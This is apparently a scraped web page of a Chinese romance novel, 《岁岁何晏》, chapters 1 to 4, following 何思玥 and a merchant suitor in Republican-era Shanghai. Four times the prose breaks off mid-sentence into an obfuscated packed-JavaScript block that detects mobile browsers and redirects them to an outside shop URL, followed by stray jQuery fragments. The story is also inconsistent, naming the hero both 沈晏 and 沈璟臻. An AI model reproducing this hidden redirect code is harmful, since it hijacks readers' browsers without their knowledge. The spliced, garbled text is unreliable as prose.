《岁岁何晏》 1. 第 1 章 1965年，春！ 梁玥坐在办公室里，正在伏案疾书，一丝的安静被手边的电话铃声打破。 电话那头讲话的是一位叫沈思何的男人，最近这段时间他在上海滩声名鹊起，梁玥接到他的电话，感觉有一些意外，他们之间之前并无交集，却意外的接听到他的电话，心中不免心生疑惑。 沈思何在收拾母亲遗物的时候，无意中发现了一本日记本、一些照片和一些父母之间的书信，看了父母之间的书信，心里为之一震，他希望梁玥可以用他母亲遗留下来的日记本写一本书，所有的费用都由他承担。 梁玥不免心生好奇，会是一个什么样的故事，会让自己的孩子想着要给父母的爱情去写成一本小说，她本想着再追问几句，沈思何却守口如瓶，格外的谨慎，只说他愿意和妹妹沈思茵来同她面谈。 他们大费周章倒是引起了梁玥的好奇心，尽管她对沈思何的故事抱有迟疑。 最终梁玥和沈思何约好下星期在报馆见面。 那日，梁玥早上刚上班，办公室里便坐了两位年轻人，想必是电话里提到的沈思何和沈思茵兄妹俩了，旁边的轮椅上还坐了一位头发鬓白的老者，老者满脸的皱纹，但是依旧能看出老人年轻时候帅气的模样。 一顿寒暄过后，尴尬的气氛缓和了不少，他们让梁玥做出承诺，倘若她不写这个故事，也绝对不向外人透露半个字。 兄妹两的话，更加引起了梁玥的好奇心，并对他们承诺倘若这本小说她不愿意写，也绝对不想外人透露半个字，毕竟这个故事是他们的，属于何思玥和沈晏的。 于是梁玥安倒了一杯咖啡静坐在位置上倾听着，也问了一些问题。 轮椅上的老者用他那双苍老的手轻轻地抚摸着手中的日记本，当他刚看到这本日记本的时候，不知道是在做梦还是在看别人的故事，他犹豫半许，老者将手中视为珍宝的日记本有些不舍的交给了梁玥。 梁玥接过日记本，日记本已经泛黄，书角也早已经破旧不堪，她放慢了手中的动作，生怕自己的动作过分着急，将这日记本弄破，愧对这本日记本的作者，她简单的翻阅几章，于是她便答应沈思何兄妹把这个故事写下来，至少是尽自己最大的努力。 梁玥承认这本日记本上并不娟秀的字感动了自己，一行行字刻进了她的心里，战火纷飞的年代，两个人却能相守一辈子。 日记本上记录着，沈晏和何思玥之间的故事，有微笑、有苦楚、有欢乐、有难言之隐... 一个人能在最好的年华里，遇见自己最爱的人，便是幸事！这是梁玥翻了几页所得出来的结论。 日记本里夹杂着一张破旧的黑白老照片，她梳着两根麻花辫，穿着旗袍，虽然是黑白照片，但还是依稀地可以看出何思玥年轻时姣好的面容。 沈思何觉着，在这个时局动荡的年代，他们的父母拥有这样淳朴的爱情，着实让人羡慕。 梁玥当时也相信这一点，动荡不安的社会，他们爱的那么纯粹和真诚，应该让世人知道，让世人知道何为民族大义，什么是儿女情长。 日记本中提到，何思玥祖上是当官的，一个偶然的机会官费出国留学，接受了西方教育，讨厌包办婚姻的她，当她知道家里人给她安排结婚对象的时候，内心是拒绝地，她不要嫁人，一心想要读书。 回国之后的何思玥，拒绝了家里的包办婚姻，进入私塾当了老师，有一日，她在学校授课的时候，再次遇见了沈晏，这次他是来给女校送物资的。 沈晏作为商人，在他力所能及的范围内会捐赠一些物资给相应的学校。 那日，沈晏看着认真给学生上课的何思玥一时间竟然入了迷，在阳光的照射下，显得格外的动人，让他挪不开眼睛，而他一次又一次被何思玥吸引。 在历史的长河中，华人女校的学生们学的都是旧体诗，而何思玥则是半文半白，让一些守旧的孩子和老派的教师一时间不能接受，都在指责她。 而何思玥并不在意，有一些事情总是要有人去做的，而她愿意做这先锋者。 而沈晏站在教室后面，给了她浅浅地笑意，算是精神上的支持和鼓励，无言的安慰，最是动人。 在何思玥看来，沈晏身上满满地商人气息，张口闭口都是金钱，让何思玥有一些鄙夷，几天后，沈晏差人送来了几本莎翁地戏剧，还是英文版的，顿时他在她心目中的形象才有所变化。 由于何思玥的改革教学，守旧派的人对她颇有微词，却对她的父亲母亲动了手，父母双双殒命。 那段时间，何思玥染上了阿芙蓉，沈晏却恨自己那个时间不能陪在她身边。 在沈晏的陪伴下，何思玥渐渐地走出阴霾，还找了一份英文翻译的工作。 优秀的何思玥，很快就得到了赏识，当了英文编辑。 而沈晏，工作重心也搬到了南京。 临行前，沈晏才鼓起勇气向何思玥表白，何思玥怦然心动，喜上心头，因为那个时候，何思玥已经喜欢上了沈晏。 他们进行了一段很长时间地异地恋，担任英文编辑后，不喜欢社交的她，偶尔的会和朋友出去逛逛，偶尔会看看外国电影和外国小说，沈晏不在身边的日子，她也会给他写信， 来往的信件中，诉说着对彼此的心意，信中的沈晏那么的浪漫和深情，一封封情书寄出了彼此的相思，于寻常人而言，异地恋百般艰辛，并且难以维系，而他们却坚持下来了。 何思玥对沈晏也有了更多的了解，不在像她固有想法里商人的模样，对他的印象逐渐清晰化。 就这样通过信件聊天，拉进了两人之间的距离，两颗心的距离也越来越近。 离开上海后的第一个春节，何思玥因为父母的原因，显得有一点落寞，沈晏还是从书信中发现了端倪， 沈晏便在信中回道：你愿不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978426|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意一周后去车站接我？ 收到信的何思玥，莞尔一笑，自己不经意的吐槽，却让沈晏放下手中的事情，回上海陪她过年。 1941年，珍珠港事件爆发后，日军很快占领了租界，冲进报社，并在报社放了一把火，何思玥的心血付之一炬，他们之间也断了联系。 沈晏辗转多人才打听到何思玥的下落，两人在战火纷飞的年代，选择了在一起，两人也这样结束了异地恋。 沈思何推着沈晏走出了报社，心里总算了却了一桩心事。 下了几天雨的上海滩，终于放了晴，烦闷的心情随着太阳的升起一哄而散。 沈思何附在沈晏的耳边说道：“爸，今天天气不错，要不要出去走走？” 是啊，天气是真的很好，街道上的人褪去了厚重的棉衣，穿上了大衣，沈思何推着父亲缓缓的在平坦的路上走着，所到之处都是格外的惹眼。 “哥，这几年来上海变化好大啊。”沈思茵环顾四周，不由得称赞道。 1960年他们北上之后，便没有再回来，而今回到这里，却是另一番景象，满眼望去，估计也没几人识得坐在轮椅上的沈晏。 “爸，我已经听你的话，将妈妈的骨灰带回来上海，找了一处风水极佳的地方安葬，您可以放心了。”沈思何眉目低垂，眼睛不在是那么生辉熠熠。 沈晏不由得留下了泪水，爱了一辈子的人，突然间化作灰烬，他的心里犹如刀割般，他看着来来往往的人低声说了一句：思玥，我带你回家了。 何思玥临终前，紧紧的握住沈晏的手，最后一句话是：最后悔的是遇见你，最幸运的是爱了一辈子。 何思玥离开后，沈晏开始着手整理何思玥信件以及她尚未翻译完成的莎翁地戏剧，这些信件也成了沈晏的精神寄托，想起两人在一起的幸福时光。 到最后，何思玥她心里想的还是她最爱的那个人--沈晏。 何思玥离开之后，沈晏像是被雷劈中剩下一半的大树，有枝有叶，唯独缺少了另一半。 梁玥答应沈思何帮他着手写他们父母之间的感情。 隔日，梁玥便开始着手整理何思玥的日记，在这个期间她也找了自己的助手帮忙，将这本日记本里的感情线做一个调查一个梳理，期间她也联系了沈思何和沈思茵兄妹，去了解一些更详细的感情。 尽管是这样，还是有很多空白点，只能靠梁玥的想象力去弥补，想象的基础上还是会有一个最基本的判断，梁玥相信自己对这段感情有一个更深层次的了解。 在整理的过程中，梁玥从一些报刊上找到了当年夫妻两的照片，照片虽然是黑白的，但依旧能看出何思玥是一个活脱脱的美人，是那种那人看了一眼便难以忘怀的。 在这个社会中，人们变得没有那么热心，柔软的心开始多了一层保护膜，但她依旧相信，在冷漠的新房里，总有一个角落是温暖的。 2. 第 2 章 1912年春！ 书房内，何荣笙在书房内告诉何思玥，今日沈晏上门有意想和她交往，何思玥当众反驳。 “我不喜欢沈晏，更不要和他交往。” 何荣笙被何思玥的声音吓了一跳，“你为什么不喜欢他？你和他见过面？” 何思玥平复了一下自己的情绪，“不久前，在老师的家中见过一面，这个人举止粗鲁，傲慢无礼，对女子无礼，一身的铜臭味。” 林公馆！ 何思玥回国数日，想着今日无事便去拜访自己的老师。 林萍是何思玥公学的老师，平日里对她影响也是颇深，留学也是受了她的影响。 林萍见何思玥过来，殷勤地迎了上去，“你这孩子，来了怎么还拎了这么多东西。” “老师，该有的礼数还是要有的，这礼数不能丢。还有一些我留学带回来的礼节，您看看喜不喜欢。” “你这孩子，出国是为了学习新思想的，没有想到还这么守旧。” “林老师，这和守旧可没有什么关系，这是礼数，老祖宗传了几千年的，这可不能忘。” 林萍家的客厅，弥漫着旧书与杭菊混杂的温暾气息。 何思玥熟络地端坐在红木太师椅边缘，湖蓝色七分袖旗袍袖口露出一截伶仃手腕，她正襟危坐着，目光却忍不住飘向多宝阁上那只钧窑瓷猫——沈晏进门时，西装下摆险些扫到它。 “思玥这篇《论妇女解放与国族命运》颇有见地。”林萍扶了扶圆眼镜，紫砂壶嘴溢出龙井的蒸汽，“只是其中关于家庭革命的部分……” 话音未落，书房突然传来瓷器碎裂的脆响。 沈晏举着半片青花瓷盖从门帘后钻出来，额发间沾着蛛网：“老师，您那《永乐大典》影印本实在太重……” 林萍话头被打断，倒也不恼，只摇头笑道：“沈晏，你又闯祸了。”转头对何思玥介绍：“这是沈家公子，刚从英国回来不久，今日也是来看我的。” 沈晏这才注意到厅中有人。 他慌忙将碎瓷片藏在身后，另一手胡乱理了理额前乱发，朝何思玥微微颔首：“失礼了。” 何思玥起身还礼，目光却落在他沾满灰尘的西装肘部，以及领口松开的温莎结，他站姿随意，甚至有些松垮，与她在外国见过的那些永远笔挺的男士截然不同。 “沈公子。”她声音清冷。 林萍让沈晏坐下，正要继续方才的话题，却见沈晏目光落在何思玥带来的那摞外文书上。“《女权辩护》？”他眼睛一亮，伸手便去拿，“沃斯通克拉夫特这本……” “沈公子。”何思玥按住书封，指尖微微用力，“书页脆弱。” 沈晏的手在半空中顿了顿，却没收回。 他抬眼看向何思玥，嘴角勾起一抹似笑非笑的弧度：“何小姐放心，沈某虽是个商人，却也懂得珍视好东西的价值。” 这话说得微妙，既像是回应她对书页的担忧，又仿佛另有所指。 何思玥眉头微蹙，正要开口，却见沈晏已从西装内袋取出一副细金丝边眼镜戴上。这个动作让他身上那点随性的书卷气褪去几分，镜片后的眼睛透着精明的光。 “沃斯通克拉夫特这本书，去年我在伦敦查令十字街的古书店见过初版。”他翻看书页的动作变得专业而迅速，指尖在版权页上轻轻一点，“但这本是纽约1900年的再版，印刷和装帧都差了些。何小姐买的时候，店家可曾告知您这一点？” 何思玥一怔。她确实是在纽约一家二手书店购得此书，当时只觉得内容难得，并未深究版本。 “版本不重要，思想才重要。”她语气平淡。 “自然。”沈晏摘下眼镜，用绒布擦拭镜片，这个动作透着商贾子弟特有的讲究，“只是思想也需要载体。好的版本留存更久，传播更广——就像做生意，同样的货，包装得体面些，价钱就能翻上一番。” 林萍在旁听着，忍不住咳嗽一声：“沈晏，这不是在商行。” 沈晏这才意识到什么，笑着将书递还给何思玥：“失礼了，职业习惯。家父常说，我这是看什么都先估个价。”他话锋一转，“不过何小姐若对女性著作感兴趣，我倒知道上海一家新开的书店，专进外文社科书。老板是我留英时的同学，可以给个折扣。” 他说“折扣”二字时，语调自然得就像在说今日天气。 何思玥接过书，指尖无意间碰到他递书的手——指腹有薄茧，是打算盘留下的痕迹。 “多谢沈公子好意。”她将书放回原位，“不过我买书，从不在意价钱。” “那是自然。”沈晏靠回椅背，手指无意识地在扶手上轻敲，节奏分明，像是在默算着什么，“只是如今书价飞涨，能省则省。上月商务印书馆的《新字典》又涨了三成，听说是因为纸张进价……” 他突然停住，因为看见何思玥微微侧过脸去，显然对这个话题毫无兴趣。 空气一时静默。窗外的梧桐影子在青砖地上慢慢移动。 林萍适时开口：“思玥这次回来，可有打算？” 话题转开，沈晏却又自然地插进来：“何小姐若想做事，家父的纱厂正要设个夜校，教女工识字。正缺□□。”他说这话时，身体微微前倾，是个谈生意的姿态，“薪资从优，按课时结算，另有交通补贴。” 每说一个条件，他的食指就在膝上轻轻一点，像是在报账。 何思玥终于转过头，正视着他：“沈公子，女子读书识字，难道只为进纱厂做工？” 沈晏愣了一下，随即笑道：“自然不是。但总要一步步来。先识字，明事理，日后或可做□□、护士，甚至……”他顿了顿，笑容里透出商人式的务实，“但眼下，能自食其力总是好的。夜校的工钱，足够一个女子独立生活。” 这话说得实在，甚至有些残酷的坦率。 何思玥看着他镜片后那双精明的眼睛，忽然明白了父亲说的“铜臭味”是什么——不是真有什么气味，而是一种将万事万物都放在天平上衡量的习惯，连理想和未来都能折算成银元。 “沈公子的好意，心领了。”她站起身，“老师， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978427|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我忽然想起还有些事，改日再来拜访。” 走出林公馆时，春风吹起她旗袍的下摆。何思玥走得很急，仿佛要甩掉身后那种被估价般的不适感。 可她没听见的是，在她离开后，沈晏对林萍叹了口气：“这位何小姐，怕是觉得我俗不可耐。” 林萍给他续了茶：“你方才，确实太像谈生意。” 沈晏望着何思玥离去的方向，手指无意识地在茶杯上摩挲——那是他思考时的小动作。 良久，他才低声道：“我只是……见到何小姐的那一刻，想和她多聊会儿，似乎适得其反了。” 这话说得很轻，轻得被窗外突然响起的卖花声淹没了。 只有那只钧窑瓷猫，在暮色里静静睁着眼，看着这个满身“铜臭味”的年轻人，第一次露出了与精明算计无关的怅惘神情。 此刻，何思玥站在父亲书房里，眼前又浮现出沈晏那个无礼傲慢的男人。 “那个人……连自己的衣衫都打理不妥，谈何打理人生？” 何荣笙却笑了：“我倒听说，沈家公子在剑桥读的是政治经济，回国这半年，已经帮着家里处理不少实业上的新式业务了。” “那又如何？”何思玥转身看向窗外，早春的梧桐才抽出嫩芽，“满口新思想，骨子里仍是旧做派。老师家那只钧窑瓷猫，他经过时连看都不看，险些碰碎。对器物尚且如此，对人又能有多少尊重？” 她没说出口的是——当他辩论时眼睛里闪动的光，竟比书房窗外的春阳还要灼人。而这份灼热，让她莫名地想要退避。 何荣笙忍不住‘扑哧’一声，“你们还真的见过，怪不得沈晏过府的时候，说和你有过一面之缘，而且见面的时候，相处的还不是很愉快，原来这些都是真的，这小子倒也是挺实诚。” 原来他一早在父亲面前承认了错，这下任由她找理由拒绝，反而显得她有点不通情达理了，也只能实话实说了。 “我不愿意和沈晏交往，因为我已经有喜欢的人了。” “此人是谁？” “此人你也认识，就是和我一起在公学的同学顾修白，我心里早已经有他了。” 何荣笙听完，猛地拍了桌子，“你就死了这条心吧，我不会同意你们在一起的。” 在何思玥的印象里，父亲从来没有这么生气过，她吓了一跳，“父亲为什么不同意我们在一起？当初您和顾修白的父亲这般交好，为什么我和顾修白就不能在一起？还是您有门第之见？以顾修白的学识见地，前途未必会比沈晏差。” 更何况他们青梅足马，从小一起长大，有感情基础，在公学的时候还送她花，写情书。 何荣笙深深地叹了一口气，“是啊，他顾修白什么都好，可惜他已经结婚了，而他的新娘不是我这傻女儿。” 何思玥申请错愕，不可置信地看着父亲，“父亲，您说什么？” 何荣笙随手将一旁的请柬递给何思玥，大红色请柬打开，上面赫然写着顾修白的名字，新年叫‘杨小曼’ 一个她很陌生的名字。 3. 第 3 章 何思玥看着请柬上面的名字，瞬间觉着有一点可笑。 那么，她这么多年的感情算什么呢？她需要一个说法。 顾修白祖上在清朝也是大官，也留下了不少基业，只不过到他这辈，家里逐渐衰败，但好在家里还有几座宅院。 何思玥穿过月洞门时，脚下踩碎了早春刚落的玉兰花瓣。 后院比前厅更显凋敝，廊柱的朱漆剥落了大半，只有西厢房窗纸上新贴的“囍”字红得刺眼。 她正要敲门，门却从里面开了。 顾修白站在门内，身上还穿着簇新的宝蓝色缎面长衫——是时下最时兴的式样，袖口绣着缠枝莲纹。他手里拿着一本账簿似的东西，抬头看见何思玥时，明显一怔。 “思玥？”他下意识将账簿往身后藏了藏，“你怎么……” 话音未落，屋里传来娇滴滴的女声：“修白，是谁呀？” 一个穿着桃红滚边旗袍的女子走到门边，很自然地挽住顾修白的手臂。她梳着最时兴的爱司头，发间簪着珍珠发卡，耳垂上金镶翡翠的坠子随着动作轻轻晃动。 何思玥认得那对坠子——去年顾修白来信还说，要攒钱买最好的翡翠送她。 “这位是？”女子打量着何思玥，目光在她素净的湖蓝旗袍上停留片刻，嘴角弯起一个得体的弧度。 顾修白喉结动了动：“这是……何世伯家的千金，思玥。”他又转向何思玥，声音有些干涩，“这是内子，杨小曼。” “内子”两个字像针一样扎进耳里。 何思玥看着顾修白手臂上那只涂着丹蔻的手，忽然觉得有些可笑。她竟一路跑来，想讨个说法。 “顾公子新婚大喜。”她听见自己的声音平静得可怕，“我来送份贺礼。” 说着，她从手袋里取出一个锦盒——里面本是她从英国带回来的一支钢笔，笔帽上刻着顾修白的字。 现在，这礼物显得如此不合时宜。 杨小曼接过锦盒，打开看了一眼，笑道：“何小姐真是客气。这支派克笔可不便宜，修白正好用得着。”她转向顾修白，语气亲昵，“你昨日不是说，要和洋行签合同，缺支好笔么？” 顾修白的脸色白了几分，低声道：“小曼，你先回屋去。” 杨小曼眼神在两人之间转了转，终究还是笑着进去了，临走前还体贴地带上了门。 院子里只剩下他们两人。风吹过廊下的铁马，发出零丁的声响。 “思玥，我……”顾修白向前一步，想拉她的手。 何思玥后退半步，目光落在他长衫下摆——那里沾着一点泥渍，是方才匆匆出门时溅上的。 从前他最讲究衣着整洁，每次见她都要换三套衣服才满意。 “什么时候的事？”她问。 顾修白沉默片刻：“上月。家里……需要一笔钱周转。杨家的纺织厂能帮上忙。” 他说得很简略，但何思玥听懂了。 顾家的宅院虽然还在，内里早已虚空。那几进院子，怕是抵押出去了大半。 “所以你选了纺织厂老板的千金。”何思玥笑了，笑声里带着颤，“顾修白，我们在公学念《孔雀东南飞》时，你说过，此生最恨负心人。” 顾修白猛地抬头，眼睛里泛起血丝：“思玥，这世道不是念几首诗就能过活的！你知道现在米价涨了多少？你知道维持这座宅子每月要多少开销？我父亲病了三个月，请大夫抓药的钱……”他攥紧了拳头，指节发白，“你说我负心，可你若嫁给我，难道要跟我一起喝西北风吗？” 他说到最后，声音已经嘶哑。 那身光鲜的长衫在他身上，忽然显得空荡荡的。 何思玥看着他，忽然想起很多年前，也是春天，他们在公学的海棠树下。顾修白折了一枝海棠递给她，花瓣落在她肩头，他说：“思玥，等我们长大了……” 后来她去了英国，他每月都写信。信里写北平的雪，写院里的枣树，写新读的书。最后一封信是半年前，他说：“家中有事，勿念。” 原来“有事”是这样的事。 “至少该告诉我一声。”她听见自己说。 顾修白苦笑着摇头：“告诉你又如何？让你为难？让你父亲为难？”他深吸一口气，“思玥，我们都不是小孩子了。有些事……由不得自己选。” 正说着，西厢房的门又开了。 杨小曼端着一碟点心走出来，这次她换了件家常的绛紫绸衫，鬓边那支珍珠发卡却还在。 “何小姐留下用午饭吧？”她笑得温婉，“厨房炖了火腿鸡汤，修白最近气色不好，该补补。” 这话说得滴水不漏，既显了女主人的身份，又暗示了顾修白如今的境况。 何思玥看着那碟精致的桂花糕——顾家从前的厨子做这个最拿手，如今怕是早换了人。 “不必了。”她转身要走。 “思玥。”顾修白在身后叫她。 她停住脚步，没有回头。 “那支笔……”他声音很低，“我会好好用。” 何思玥闭了闭眼，径直穿过月洞门。走出很远，她还能听见后院传来的声音——杨小曼在问晚上想吃什么，顾修白低声应着什么。 风更大了，吹得她旗袍下摆猎猎作响。 她摸了摸脸颊，是干的。 原来人真正难过的时候，是哭不出来的。 只是走到巷口时，她忽然想起沈璟臻那双精明的、总在算计价值的眼睛。若是他，大概会说：“感情这种事，本来就不该指望保本。” 这个念头让她莫名想笑，可嘴角刚扬起，眼泪却毫无征兆地掉了下来。 一滴，两滴，落在青石板上，很快就洇开不见。 就像那些年海棠树下的誓言，终究没敌过一碗火腿鸡汤的现实。 何思玥匆匆地上了门口的黄包车，坐在车上的那一刻，眼泪终究止不住地流了下来。 黄包车夫被她的哭声搅得心慌，“姑娘，是发生了什么事情吗？” 何思玥却哭的太大声了，黄包车夫一时间被她的哭声搅得慌了神，加快速度将她送到了目的地。 何思玥刚下车，便昏了过去，还好管家反应迅速接住了她。 何思玥再次睁开眼时，最先看见的是帐顶熟悉的苏绣缠枝莲纹——这是她自己的卧房。 却发现沈璟臻坐在床边的圆凳上，手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978428|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟拿着本账簿在翻看。 听见动静，他合上账簿，动作自然地仿佛在自家书房。 “醒了？”他问得平淡，从怀里掏出块怀表看了眼，“昏了三个钟头。” 何思玥撑着想坐起身，却发现额头敷着块凉毛巾。 沈璟臻伸手虚扶了一下，没碰着她，只将靠枕垫在她身后，这个距离把握得恰到好处——既显了关切，又守了分寸。 “你怎么在这里？”她声音沙哑。 “恰巧来府上拜访何世伯，谈些生意上的事。”沈璟臻将账簿放在一旁的小几上，那上面还搁着她的药碗和蜜饯，“听见动静就过来看看。管家说你是哭着回来的，下车就晕了。” 他说这些话时语气平稳，像在汇报账目。可何思玥瞥见他西装口袋露出半截的帕子——一角绣着沈家的徽记，另一角却沾着可疑的水渍。 她忽然意识到什么，抬手摸了摸脸颊，是干的，但眼周皮肤有些紧绷。 “我……”她想说些什么，喉咙却像被棉花堵住了。 沈璟臻推了推眼镜，从怀里取出个银质小盒，打开是淡黄色的药膏：“大夫说你急火攻心，又吹了风。这药膏是家传的，治头疼很好用。”他顿了顿，“不过何小姐大概觉得，商人家的东西都沾着铜臭，不愿意用。” 这话说得直白，倒让何思玥愣住了。她看向他，发现他嘴角噙着一丝笑意——不是嘲讽，更像是自嘲。 “我没有……” “无妨。”沈璟臻将药膏放在床头，“用不用随你。”他站起身，整理了下西装下摆，“何世伯还在书房等我，说有些账目要看。” 走到门边时，他忽然停住，背对着她说：“顾家的事，我听说了。” 何思玥猛地攥紧了被角。 “我不是要说什么安慰的话。”沈璟臻转过身，镜片后的眼睛直视着她，“只是想起在英国时，教经济学的教授常说一句话——沉没成本不是成本。” 他说话时，手指无意识地在门框上轻轻敲打，像是在计算什么。 “什么意思？” “意思是，已经付出的，收不回来的，就不该再影响将来的决定。”沈璟臻推了推眼镜，这个动作让他看起来又像个精明的商人了，“你为顾修白付出的年月、感情，都是沉没成本。继续为此难过，就像在亏损的生意上不断追加投资，只会越赔越多。” 这话冷酷得近乎残忍。 何思玥盯着他：“所以沈公子觉得，感情是生意？” “不。”沈璟臻摇摇头，“感情比生意难算得多。生意亏了，账面上清清楚楚。感情亏了……”他顿了顿，“连本都说不清是什么。” 他说话时，目光扫过她枕边露出的一角信笺——那是顾修白从前写给她的信，她一直收着。 “只是人总要往前看。”沈璟臻的声音低了些，“好比我们沈家的纱厂，去年大火烧了一间仓库，损失惨重。家父说，与其对着废墟哭，不如想想怎么把新厂房盖起来。” 他说完，微微颔首，转身走了。 脚步声渐远。何思玥靠在枕头上，盯着帐顶的缠枝莲。那枝蔓盘绕往复，像极了这些年她心里那些理不清的念想。 4. 第 4 章 窗外的天色暗下来了，暮色漫进屋里。茶几上的药碗已经凉透，旁边那盒药膏静静躺着。 她伸手拿过来，揭开盖子闻了闻——是薄荷混合着不知名草药的清苦气味。 敷在太阳穴上时，凉意丝丝渗入。 她闭上眼，忽然想起沈晏方才说话的神情。那样冷静，那样理智，仿佛世间万事都能放在天平上称量。 可他的手帕上，为什么会有水渍呢？ 这个念头一闪而过，快得抓不住。何思玥翻了个身，将脸埋进枕头里。 枕下压着的那些信，硌得脸颊生疼，又觉着格外的可笑。 她想起顾修白最后那封信，短短几行字，她翻来覆去读了无数遍。现在想来，字里行间其实早有端倪，只是她不愿深想。 就像沈晏说的，她在亏损的感情里不断追加投资，直到血本无归。 走廊传来脚步声，是管家来送晚饭。 何思玥坐起身，看着托盘里清粥小菜，忽然开口：“沈公子还在府上吗？” “刚走。”管家布着碗筷，“走前还特意交代厨房，这几日给小姐做些清淡的。哦，他还留了一句话。” “什么？” 管家回忆了一下：“沈公子说，那药膏若是用完了，可以派人去沈家的药铺取。记他账上。” 何思玥舀起一勺粥，热气氤氲上来，模糊了视线。她想起沈晏说“记他账上”时的语气，大概就像说“这匹布记我账上”一样自然。 商人。 她默默想着，将粥送入口中。 粥是温的，正好入口。不知怎的，她忽然想起顾修白家那碗永远喝不到的火腿鸡汤。 眼泪又要涌上来，她用力眨了眨眼，逼了回去。 沉没成本不是成本。她在心里默念了一遍，又念了一遍。 窗外的梧桐树上，有归巢的雀儿在叫。春天真的来了，就算心还留在冬天，日子总得往下过。 就像沈晏说的，废墟上总得盖新厂房。 哪怕她还不确定，自己想要的是什么。 何思玥休养几日后，父亲便托人在城东女子私塾学校找了一份工作，私塾的文学和美术老师。 城东女子私塾设在原先的一座旧书院里，白墙黑瓦，庭中植着几株老梅——虽已过了花期，枝桠却遒劲地伸向春日的天空。 何思玥抱着教案穿过回廊时，听见教室里传出稚嫩的读书声，是《诗经》里的句子：“关关雎鸠，在河之洲……” 她脚步顿了顿。这声音让她想起公学时光，那时顾修白就坐在她斜后方，念书时总爱把尾音拖长。 “何老师？”身后有人唤她。 何思玥回头，见是私塾的陈校长——一位四十余岁、梳着简洁发髻的女子，鼻梁上架着圆框眼镜。 “陈校长。” “第一日上课，可还习惯？”陈校长与她并肩走着，说话时手里还捏着份名册，“咱们这儿的学生，年纪从十二岁到十八岁都有。有些是家里开明送来读书的，有些是退了旧式婚约、想寻个出路的……都不容易。” 何思玥点头，目光落在廊外。 几个年纪稍长的女学生正在梅树下踢毽子，蓝布衫的下摆随着动作扬起，露出下面白袜黑鞋。 “对了，”陈校长忽然想起什么，“今日有位先生要来参观，说是想捐助咱们私塾扩建图书馆。何老师若得空，可否帮忙招待一下？我这边还要去教育局办些手续。” “自然可以。”何思玥应下，心里却有些疑惑——这年头愿意捐钱给女子私塾的，实在不多见。 午后阳光正好，洒在藏书阁的雕花窗棂上。 何思玥正在整理新到的几箱书，忽然听见门外传来熟悉的、带着算计意味的脚步声。 她回头，看见沈晏站在门口，一身灰色条纹西装，手里拿着顶呢帽。阳光从他身后照进来，在他镜片上反射出两点亮光。 “沈公子？”何思玥直起身，手上还沾着灰尘。 沈晏走进来，目光扫过满地的书籍：“何老师。”他称呼得很正式，嘴角却带着那抹似笑非笑的弧度，“陈校长让我来这里看看，说是要捐的书都在这儿了？” “这些是刚到的。”何思玥指了指墙角几箱未开封的书，“校长说您要捐助图书馆？” “嗯。”沈晏蹲下身，随手打开一个箱子，取出本书翻了翻，“家父常说，生意做得再大，若是社会不进步，终究是空中楼阁。”他说着，抬头看了何思玥一眼，“当然，这也是笔投资——受过教育的女子，将来或许能成为更好的员工、顾客，甚至合作伙伴。” 又是投资。何思玥扯了扯嘴角，蹲下身与他一同清点书籍。 箱子里大多是些基础读物，也有几本外文译著。 “这是……”她拿起一本《欧洲女权运动简史》，翻开扉页，却看见上面用钢笔写着一行英文批注，字迹潇洒。 沈晏凑过来看了一眼：“哦，这是我留英时做的笔记。这本书现在不好找，想着或许对学生有用。”他说得轻描淡写，可何思玥注意到，那些批注旁还细心地标注了中文释义。 “沈公子有心了。” “应该的。”沈晏站起身，拍了拍手上的灰，“对了，我带了份清单来。”他从西装内袋取出张纸，上面用钢笔密密麻麻列着书目和价格，旁边还标注了折扣和总价。 何思玥接过清单，看着那工整的字迹和精确到分的数字，忽然问：“沈公子做每件事，都要这样精打细算吗？” 沈晏正弯腰查看另一箱书，闻言动作顿了顿。他直起身，推了推眼镜：“何老师是觉得，这样太市侩？” “我只是好奇。” 两人之间隔着一地散乱的书本，阳光里的尘埃缓缓浮动。 藏书阁很静，能听见远处教室传来的琴声——是有人在练风琴，断断续续的《春之声》。 “家母在世时常说，我打小就爱算账。”沈晏忽然开口，声音比平时低了些，“三岁数铜板，五岁帮店里算流水。后来去英国，第一次进大英博物馆，看见那些文物，脑子里想的却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 